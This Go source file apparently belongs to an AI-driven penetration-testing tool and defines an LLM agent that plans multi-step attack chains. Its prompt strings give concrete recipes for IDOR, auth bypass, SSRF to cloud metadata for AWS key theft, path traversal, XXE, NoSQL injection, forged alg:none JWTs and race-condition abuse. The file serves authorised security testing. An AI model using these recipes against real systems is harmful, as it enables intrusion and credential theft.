package exploit

import (
	"context"
	"encoding/json"
	"fmt"
	"strings"
	"time"

	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/llm"
	"github.com/Armur-Ai/Pentest-Swarm-AI/internal/pipeline"
	"github.com/google/uuid"
)

// ExploitAgent constructs multi-step attack chains using LLM reasoning.
type ExploitAgent struct {
	provider    llm.Provider
	pathBuilder *PathBuilder
}

// NewExploitAgent creates a new exploit agent.
func NewExploitAgent(provider llm.Provider) *ExploitAgent {
	return &ExploitAgent{
		provider:    provider,
		pathBuilder: NewPathBuilder(),
	}
}

// BuildPlan constructs an attack plan from classified findings.
// allowedTools lists the executable names the executor will actually permit
// (see Coordinator.RegisteredToolNames) — without this, the LLM has no way
// to know that ad-hoc binaries like curl aren't usable, and every step
// built around them is guaranteed to fail at execution time (#43 allowlist).
func (e *ExploitAgent) BuildPlan(ctx context.Context, findings pipeline.ClassifiedFindingSet, objective string, allowedTools []string) (*pipeline.AttackPlan, error) {
	// Step 1: Build rule-based chains
	ruleChains := e.pathBuilder.BuildChains(findings.Findings)

	// Step 2: Send to LLM for reasoning and enhancement
	findingsJSON, _ := json.Marshal(findings.Findings)
	chainsJSON, _ := json.Marshal(ruleChains)
	toolsJSON, _ := json.Marshal(allowedTools)
	hints := toolUsageHints(allowedTools)

	req := llm.CompletionRequest{
		SystemPrompt: exploitSystemPrompt,
		Messages: []llm.Message{
			{
				Role: "user",
				Content: fmt.Sprintf(
					"Objective: %s\n\nAllowed tools (the ONLY executables the \"command\" field of each step may invoke — any other binary, including curl, wget, or shell one-liners, will be rejected before execution):\n%s\n\nCLI syntax notes for tools prone to misuse (follow these exactly; other allowed tools use their standard flags):\n%s\n\nClassified Findings:\n%s\n\nRule-Based Attack Chains:\n%s\n\nAnalyze these findings. Think through each one in <think> tags, then produce your attack plan as JSON.",
					objective, string(toolsJSON), hints, string(findingsJSON), string(chainsJSON),
				),
			},
		},
		MaxTokens:   8192,
		Temperature: 0.2,
	}

	resp, err := e.provider.Complete(ctx, req)
	if err != nil {
		// Fall back to rule-based chains only
		return &pipeline.AttackPlan{
			ID:        uuid.New(),
			Paths:     ruleChains,
			Reasoning: "LLM unavailable — using rule-based chains only",
			CreatedAt: time.Now(),
		}, nil
	}

	// Parse <think> reasoning and JSON plan
	reasoning, planJSON := parseThinkAndJSON(resp.Content)

	var llmPaths []pipeline.AttackPath
	if planJSON != "" {
		_ = json.Unmarshal([]byte(planJSON), &llmPaths)
	}

	// Merge rule-based and LLM-generated paths
	allPaths := mergePaths(ruleChains, llmPaths)

	plan := &pipeline.AttackPlan{
		ID:        uuid.New(),
		Paths:     allPaths,
		Reasoning: reasoning,
		CreatedAt: time.Now(),
	}

	if len(allPaths) > 0 {
		plan.RecommendedPathID = allPaths[0].ID
	}

	return plan, nil
}

// knownToolUsageHints documents correct CLI invocation for tools whose real
// syntax commonly gets confused with unrelated conventions by the LLM (e.g.
// gau takes its target positionally, not via a getopt-style -u flag like
// httpx/nuclei do) — without this, generated steps fail at execution time
// even though the tool itself is allowed and installed.
var knownToolUsageHints = map[string]string{
	"gau":  "gau <domain-or-URL> [--json] — target is a positional argument, NOT \"-u <target>\".",
	"dnsx": "echo <host> | dnsx -json -silent -a -aaaa -cname -resp — resolve a known host via stdin. Do NOT use \"-d <domain>\" (that's subdomain brute-force mode and requires \"-w <wordlist>\", which isn't available here).",
	"httpreq": "httpreq --method <M> --url <URL> [--header \"K: V\"]... [--body '<raw>'] [--capture <name>=<selector>] [--follow] [--timeout <sec>] — the primitive for API business-logic attacks (BOLA/IDOR, mass assignment, broken auth, JWT abuse) that scanners cannot reach. It is the ONLY way to send an authenticated or hand-crafted HTTP request (curl is barred). " +
		"CHAINING: --capture extracts a response value into a variable that a LATER step references as {{name}}; selectors are `header:Name` (e.g. header:Set-Cookie) or a JSON path (e.g. $.token, data.items.0.id). Substitution happens before the step runs. " +
		"Two built-in variables are pre-seeded for every chain: {{nonce}} (a unique alphanumeric token, for emails/usernames like user_{{nonce}}@example.com) and {{nonce_num}} (a unique 10-digit numeric string, for digits-only fields like a phone number). Use them in a --body when a step registers a throwaway account so re-runs don't collide on \"already exists\". " +
		"BOLA/IDOR recipe: step 1 `httpreq --method POST --url .../login --body '{...}' --capture tok=$.token`; step 2 `httpreq --url .../api/v2/resource/<OTHER_USERS_ID> --header 'Authorization: Bearer {{tok}}'` — a 200 with another user's data is the finding. IDs are not only sequential integers: try UUIDs, hashids, base64/hex ids, and GraphQL global node ids — capture a real id from your own account's responses and swap it for another user's. " +
		"MASS-ASSIGNMENT recipe: resend a legitimate POST/PUT with an extra privileged field in --body (e.g. add \"is_admin\":true or \"role\":\"admin\") and check it took effect. " +
		"BFLA recipe (broken function-level authorization = privilege escalation): authenticate as a LOW-privilege user, --capture the token, then call an ADMIN/privileged function or method (e.g. POST/DELETE on /api/v2/admin/*, /internal/*, or a state-changing verb a normal user shouldn't reach) with {{tok}} — a 200/2xx that performs the privileged action is a vertical privesc finding. " +
		"AUTH-BYPASS recipe: try a protected endpoint with no/expired/other-user token, and try 403->200 bypass tricks via headers (X-Original-URL, X-Rewrite-URL, X-Forwarded-For) or path tweaks (trailing slash, %2e, case) — a protected resource returning 200 is the finding. " +
		"SSRF recipe: when a parameter takes a URL/host (import, webhook, fetch, avatar_url, callback), point it at an internal target and confirm the server dereferenced it. HIGH-VALUE CHAIN: aim SSRF at the cloud metadata service `http://169.254.169.254/latest/meta-data/iam/security-credentials/` and --capture the returned role name, then fetch `.../security-credentials/{{role}}` to --capture temporary AWS keys — SSRF -> cloud credential theft. " +
		"INJECTION recipes (reachable via a crafted httpreq body/param): SSTI — submit a template marker like {{7*7}} or ${7*7} in a name/subject/template field and look for 49 in the response (then escalate to code exec cautiously); PATH TRAVERSAL / LFI — request a file param as ../../../../etc/passwd (and encoded variants %2e%2e%2f) and match root:; XXE — POST an XML body with an external-entity declaration pointing at a local file or an internal URL (SSRF via XXE) and observe the reflected/exfiltrated content; NoSQL injection — in a JSON login/query body replace a value with an operator object like {\"$ne\":null} or {\"$gt\":\"\"} (or `';return true;//` for JS-eval sinks) and check for an auth bypass or extra records; INSECURE DESERIALIZATION — when a param carries a serialized blob (base64 Java `rO0`, PHP `O:`, Python pickle, .NET), flag it and probe with a benign type-swap, escalating to a gadget only with care. Confirm each with an expected_output_pattern; never run destructive payloads. " +
		"RACE-CONDITION recipe (business logic / TOCTOU): add --race N to fire N identical requests concurrently at a single-use or limited action — redeem a one-time coupon, withdraw a balance, accept an invite — e.g. `httpreq --method POST --url .../coupon/redeem --header 'Authorization: Bearer {{tok}}' --body '{...}' --race 20`; if more than one succeeds (the summary reports how many returned 2xx), the limit was bypassed. " +
		"GRAPHQL recipe: POST an introspection query (`{\"query\":\"{__schema{types{name fields{name}}}}\"}`) to --capture the schema, then abuse it — request sensitive fields, alias-batch many operations in one request (auth/rate-limit bypass), or run IDOR on GraphQL node ids. " +
		"Quote --header and --body values (single quotes) so they parse as one argument. Use each step's expected_output_pattern (a regex, e.g. \"HTTP 200\") to mark a step successful only when the attack actually worked.",
	"jwt": "jwt --action <forge|none|decode> [--secret <s>] [--alg HS256] [--claims '<json>'] [--token <t>] [--capture <name>=<selector>] — the primitive for JWT/token attacks (broken authentication, alg confusion) that scanners cannot reach; there is no HTTP request, it just builds or inspects a token in-process. " +
		"forge: sign a token with a known/guessed HMAC secret and arbitrary --claims, e.g. `jwt --action forge --secret <secret> --claims '{\"sub\":\"victim@example.com\",\"role\":\"admin\"}' --capture jwt=$.token`. " +
		"none: build an unsigned alg:none token from --claims — the classic alg-confusion forge some verifiers accept without checking the signature. " +
		"decode: base64url-decode a captured --token's header+payload with no verification, e.g. `jwt --action decode --token {{jwt}}`, useful recon before guessing a secret. " +
		"CHAINING: like httpreq, --capture reads a JSON path (e.g. $.token) out of the verb's own {\"token\",\"header\",\"claims\"} output into a variable a LATER step references as {{name}} — typically threaded into a following `httpreq --header 'Authorization: Bearer {{name}}'` to replay the forged token as another user.",
}

// toolUsageHints returns the usage note for each allowed tool that has one,
// joined as a bullet list (or a placeholder if none apply).
func toolUsageHints(allowedTools []string) string {
	var lines []string
	for _, t := range allowedTools {
		if hint, ok := knownToolUsageHints[t]; ok {
			lines = append(lines, "- "+hint)
		}
	}
	if len(lines) == 0 {
		return "(none)"
	}
	return strings.Join(lines, "\n")
}

// AdaptPlan adjusts the attack plan based on execution results.
func (e *ExploitAgent) AdaptPlan(ctx context.Context, plan *pipeline.AttackPlan, result pipeline.ExecutionResult) (*pipeline.AttackPlan, error) {
	planJSON, _ := json.Marshal(plan)
	resultJSON, _ := json.Marshal(result)

	req := llm.CompletionRequest{
		SystemPrompt: "You are a penetration testing strategist. Given the current attack plan and the latest execution result, decide: continue on the current path, pivot to an alternative, or adjust the approach. Think in <think> tags, then output the updated plan as JSON.",
		Messages: []llm.Message{
			{
				Role:    "user",
				Content: fmt.Sprintf("Current Plan:\n%s\n\nLatest Result:\n%s", string(planJSON), string(resultJSON)),
			},
		},
		MaxTokens:   4096,
		Temperature: 0.2,
	}

	resp, err := e.provider.Complete(ctx, req)
	if err != nil {
		return plan, nil // keep existing plan on failure
	}

	reasoning, planJSONStr := parseThinkAndJSON(resp.Content)

	var updatedPaths []pipeline.AttackPath
	if planJSONStr != "" {
		_ = json.Unmarshal([]byte(planJSONStr), &updatedPaths)
	}

	if len(updatedPaths) > 0 {
		plan.Paths = updatedPaths
		plan.Reasoning = reasoning
	}

	return plan, nil
}

// parseThinkAndJSON splits LLM output into <think> reasoning and JSON content.
func parseThinkAndJSON(content string) (reasoning, jsonContent string) {
	// Extract <think> block
	thinkStart := strings.Index(content, "<think>")
	thinkEnd := strings.Index(content, "</think>")

	if thinkStart >= 0 && thinkEnd > thinkStart {
		reasoning = strings.TrimSpace(content[thinkStart+7 : thinkEnd])
		content = content[thinkEnd+8:]
	}

	// Extract JSON (find first [ or {)
	content = strings.TrimSpace(content)
	for i, c := range content {
		if c == '[' || c == '{' {
			jsonContent = content[i:]
			break
		}
	}

	// Strip trailing markdown
	if strings.HasSuffix(jsonContent, "```") {
		jsonContent = jsonContent[:len(jsonContent)-3]
	}
	jsonContent = strings.TrimSpace(jsonContent)

	return reasoning, jsonContent
}

// mergePaths combines rule-based and LLM-generated paths, deduplicating by name.
func mergePaths(ruleBased, llmGenerated []pipeline.AttackPath) []pipeline.AttackPath {
	seen := make(map[string]bool)
	var merged []pipeline.AttackPath

	// LLM paths take priority
	for _, p := range llmGenerated {
		seen[p.Name] = true
		merged = append(merged, p)
	}

	for _, p := range ruleBased {
		if !seen[p.Name] {
			merged = append(merged, p)
		}
	}

	return merged
}

const exploitSystemPrompt = `You are a specialized penetration testing strategist. Your role is to construct multi-step attack chains from classified security findings.

CRITICAL CONSTRAINT: every step's "command" field must invoke one of the tools listed as "Allowed tools" in the user message, using that tool's real CLI syntax. Do not use curl, wget, generic shell commands, or any executable not on that list — such steps are rejected by the executor before they run and waste the entire attack path. If the allowed tools can't achieve a step you'd otherwise want (e.g. a raw HTTP probe), express it using the closest allowed tool instead (e.g. httpx) rather than falling back to curl.

This constraint applies EQUALLY to "cleanup_command": it is validated by the exact same allowlist as "command", so it must also either invoke one of the "Allowed tools" or be left as an empty string. Do not default to "rm", "curl", or any other unlisted binary for cleanup — most reconnaissance/scanning steps have nothing to clean up, so leave cleanup_command empty ("") unless the step itself creates a file or artifact that a listed tool can remove.

API BUSINESS-LOGIC ATTACKS: many high-impact vulnerabilities (BOLA/IDOR, mass assignment, broken function-level authorization, JWT/token abuse) live in an application's own logic and are invisible to scanners — they only surface when you send a specific authenticated request and observe the response. When findings point at an HTTP API (login/auth endpoints, object ids in paths like /api/v2/vehicle/{id}, user/order/profile resources), build a multi-step httpreq chain: (1) authenticate and --capture the token, (2) replay a privileged or cross-user request substituting {{token}}, (3) confirm success with an expected_output_pattern. Prefer these chains for API targets — a proven BOLA is worth far more than another passive scan.

Consider the full range of API/web attack classes, not just BOLA — each is a distinct candidate strategy: BOLA/IDOR (cross-user object access), BFLA (calling admin/privileged functions as a low-privilege user = privilege escalation), mass assignment (smuggling a privileged field), broken authentication and auth bypass (missing/forgeable tokens, 403->200 header/path tricks), JWT/token forgery (alg:none, weak-secret, claim tampering), SSRF (especially chained to the cloud metadata service for credential theft), GraphQL abuse (introspection, field-level authz, alias batching), and injection (SQLi via sqlmap, SSTI, path traversal). See the per-tool syntax notes for concrete httpreq/jwt recipes for these.

For each finding, think through:
1. How exploitable is this? Which of the allowed tools/techniques are needed? For an API endpoint, can httpreq prove an access-control or mass-assignment flaw?
2. Can this be chained with other findings for greater impact?
3. What is the most efficient path to the stated objective, given only the allowed tools?

Output your thinking in <think> tags, then produce a JSON array of attack paths.

Produce 2-4 DISTINCT candidate attack paths that take genuinely different
approaches to the objective — for example a direct httpreq BOLA/IDOR chain, a
JWT/token-forgery chain, and a mass-assignment chain — NOT minor variations of a
single idea. Each is a competing strategy: a downstream scorer ranks them and the
swarm pursues the best-scored one first, so diversity of approach is valuable.
If a finding genuinely admits only one credible path, one is fine — do not pad
with unrunnable filler.

Each path should have:
- name: concise chain description (e.g., "SQLi → Data Extraction → Credential Access")
- description: detailed explanation
- steps: ordered array of {name, technique_id (MITRE ATT&CK), command, expected_output_pattern, cleanup_command}
- estimated_success_probability: 0.0-1.0
- expected_impact: low/medium/high/critical

Order paths best-first, but make each one a real, independently-runnable strategy.`